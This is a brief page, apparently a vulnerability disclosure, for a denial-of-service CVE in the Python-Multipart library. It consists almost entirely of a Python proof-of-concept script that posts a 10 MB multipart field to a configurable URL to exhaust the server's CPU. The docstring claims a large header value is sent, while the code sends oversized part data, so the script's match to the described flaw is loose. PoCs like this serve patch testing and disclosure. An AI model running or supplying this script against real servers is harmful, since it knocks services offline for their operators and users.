CVE-2026-42561 Python-Multipart拒绝服务漏洞

import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def send_malicious_request(url): """ Conceptual PoC for CVE-2026-42561. Sends a request with a very large header value to trigger CPU exhaustion. """ # Generate a large string to simulate a large header value or part data large_value = "A" * 10000000 # 10MB string # In a real exploitation scenario, the attacker might need to manipulate raw sockets # to bypass client-side limits on header size. # Here we simulate sending a large payload in the multipart data. fields = { 'field_name': ('filename.txt', large_value, 'text/plain') } try: # Create the multipart encoder multipart_data = MultipartEncoder(fields=fields) headers = { 'Content-Type': multipart_data.content_type } # Send the POST request print(f"Sending malicious request to {url}...") response = requests.post(url, data=multipart_data, headers=headers, timeout=10) print(f"Request completed with status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - potential DoS condition triggered.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace with the target URL target = "http://localhost:8000/upload" send_malicious_request(target)